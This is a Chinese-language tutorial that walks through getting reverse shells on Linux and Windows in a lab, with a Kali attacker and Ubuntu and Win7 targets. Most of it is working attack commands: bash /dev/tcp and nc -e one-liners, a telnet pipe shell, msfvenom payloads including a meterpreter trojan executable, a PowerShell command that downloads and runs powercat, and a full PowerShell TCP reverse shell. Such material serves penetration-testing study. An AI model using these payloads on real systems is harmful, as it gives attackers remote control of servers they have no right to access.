0x00 反弹shell概述
反弹shell:即reverse shell,在我们自己的公网vps建立监听,然后让服务器反弹一个shell来连接我们自己的主机,通过反弹的shell去远程控制服务器。
0x01 反弹shell原因
通常由于防火墙、权限不足、端口占用等情况下,无法直接连接目标主机,此时就需要通过反弹shell,让目标主机主动来连接我们再公网的vps。
0x02 Linux下反弹shell
实验环境:
攻击主机:kali:192.168.217.135
目标主机:ubuntu:192.168.217.132
1.Bash反弹
1)攻击主机上执行监听:
nc -lvp port //设定监听的端口
2)目标主机上反弹shell:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1 //bash -i:打开一个交互的bash //>&:将标准输出和标准错误输出重定向到文件/dev/tcp/,即传递到远程 ///dev/tcp/x.x.x.x/port:调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口 //0>&1:标准输入重定向到标准输出,实现与反弹出来的shell的交互
Linux文件描述符: 0 - stdin 代表标准输入,使用<或<< 1 - stdout 代表标准输出,使用>或>> 2 - stderr 代表标准错误输出,使用2>或2>>
3)回到攻击机,shell反弹成功
2.telnet反弹shell
攻击机上执行命令,监听两个端口(一个用于输入,一个用于输出):
nc -lvp 4444 nc -lvp 5555
目标机上执行:
telnet 192.168.217.135 4444 | /bin/bash | telnet 192.168.217.135 5555 //这里通过监听两个端口,然后进行反向连接的时候使用到了管道符,管道符的作用是把管道符前的输出作为管道符后的输入,这样的话就可以在远程的4444端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的5555端口。
反弹shell成功后,在监听4444端口的终端执行命令,在另一个终端输出执行结果
3.nc反弹shell
攻击机上执行监听命令:
nc -lvp port
目标机上执行命令:
nc -e -t /bin/bash ip port //使用nc命令直接建立一个tcp的会话连接,然后将本地的bash通过这个会话连接反弹给目标主机
//-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程
如果目标主机linux发行版本没有 -e 参数,可选择以下方式:
nc ip port1|/bin/bash|ip port2
成功反弹
4.利用msfvenom
攻击主机上使用msfvenom搜索相关payload(此处以python为例)
msfvenom -l payloads | grep 'cmd/unix/reverse'
可以看到多种实现反弹shell的方式
执行命令:
msfvenom -p cmd/unix/reverse_python lhost=192.168.217.135 lport=6666
获取相应payload
然后攻击上启动nc进行监听
nc -lvp port
目标主机上执行msfvenom给出的payload
反弹成功
0x03 Windows下反弹shell
实验环境:
攻击主机:kali:192.168.217.135
目标主机:Win7:192.168.217.130
1.nc反弹shell
攻击机上执行监听命令:
nc -lvp port
目标机上执行:
nc.exe -e cmd.exe 192.168.217.135 6666
成功反弹shell
2.msfvenom反弹shell
攻击机上搜索windows x64 tcp的payload:
msfvenom -l payload | grep windows | grep x64 | grep tcp
这里选择windows/x64/meterpreter/reverse_tcp生成木马文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.217.135 lport=6666 -f exe >test.exe
将木马文件移动到桌面方便复制到目标机
攻击机上使用msfconsole监听:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.217.135 set lport 6666 exploit
目标机上执行test.exe木马文件
可看到攻击机上反弹成功
3.powershell反弹shell
攻击机上执行监听命令:
nc -lvp port
目标机上:
1).执行命令
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.217.135 -p 6666 -e cmd
反弹成功
2).自定义powershell函数反弹shell:
powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('192.168.217.135',6666);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
反弹成功
参考链接
https://www.cnblogs.com/threesoil/p/10958126.html
https://www.anquanke.com/post/id/99793
https://www.freebuf.com/articles/system/178150.html